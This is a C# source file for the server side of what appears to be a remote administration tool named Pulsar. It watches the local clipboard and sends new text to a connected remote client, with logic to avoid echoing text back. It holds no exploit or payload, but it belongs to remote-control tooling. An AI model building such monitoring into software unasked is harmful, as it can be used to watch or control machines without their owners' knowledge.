Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

152 lines
4.7 KiB
C#

using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Pulsar.Common.Messages.Monitoring.Clipboard;
using Pulsar.Server.Networking;
using System.Diagnostics;
namespace Pulsar.Server.Helper
{
public class ClipboardMonitor : NativeWindow, IDisposable
{
private const int WM_CLIPBOARDUPDATE = 0x031D;
private Client _client;
private string _lastClipboardText = string.Empty;
private bool _isEnabled = false;
private System.Threading.Timer _pollingTimer;
private static string _lastReceivedFromClient = string.Empty;
private static DateTime _lastReceivedFromClientTime = DateTime.MinValue;
[DllImport("user32.dll", SetLastError = true)]
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool RemoveClipboardFormatListener(IntPtr hwnd);
public static void NotifyReceivedFromClient(string clipboardText)
{
_lastReceivedFromClient = clipboardText;
_lastReceivedFromClientTime = DateTime.Now;
}
public ClipboardMonitor(Client client)
{
_client = client;
CreateHandle(new CreateParams());
AddClipboardFormatListener(this.Handle);
_pollingTimer = new System.Threading.Timer(PollClipboard, null, Timeout.Infinite, Timeout.Infinite);
}
public bool IsEnabled
{
get => _isEnabled;
set
{
_isEnabled = value;
if (_isEnabled)
{
_pollingTimer.Change(0, 500);
Debug.WriteLine("Clipboard polling timer started");
}
else
{
_pollingTimer.Change(Timeout.Infinite, Timeout.Infinite);
Debug.WriteLine("Clipboard polling timer stopped");
}
}
}
protected override void WndProc(ref Message m)
{
if (m.Msg == WM_CLIPBOARDUPDATE && _isEnabled)
{
Task.Run(() => ClipboardCheck());
}
base.WndProc(ref m);
}
private void ClipboardCheck()
{
if (!_isEnabled) return;
try
{
if (Thread.CurrentThread.GetApartmentState() == ApartmentState.STA)
{
GetAndSendClipboardText();
}
else
{
var thread = new Thread(GetAndSendClipboardText);
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join(100);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Clipboard monitor error: {ex.Message}");
}
}
private void GetAndSendClipboardText()
{
try
{
if (Clipboard.ContainsText())
{
string clipboardText = Clipboard.GetText();
if (!string.IsNullOrEmpty(clipboardText) && clipboardText != _lastClipboardText)
{
bool wasRecentlyReceivedFromClient =
_lastReceivedFromClient.Equals(clipboardText) &&
(DateTime.Now - _lastReceivedFromClientTime).TotalSeconds < 3;
if (!wasRecentlyReceivedFromClient)
{
_lastClipboardText = clipboardText;
Debug.WriteLine($"Sending clipboard text: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}...");
_client.Send(new SendClipboardData { ClipboardText = clipboardText });
}
else
{
_lastClipboardText = clipboardText;
}
}
else
{
}
}
else
{
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting clipboard text: {ex.Message}");
}
}
private void PollClipboard(object state)
{
if (_isEnabled)
{
ClipboardCheck();
}
}
public void Dispose()
{
RemoveClipboardFormatListener(Handle);
_pollingTimer?.Dispose();
DestroyHandle();
}
}
}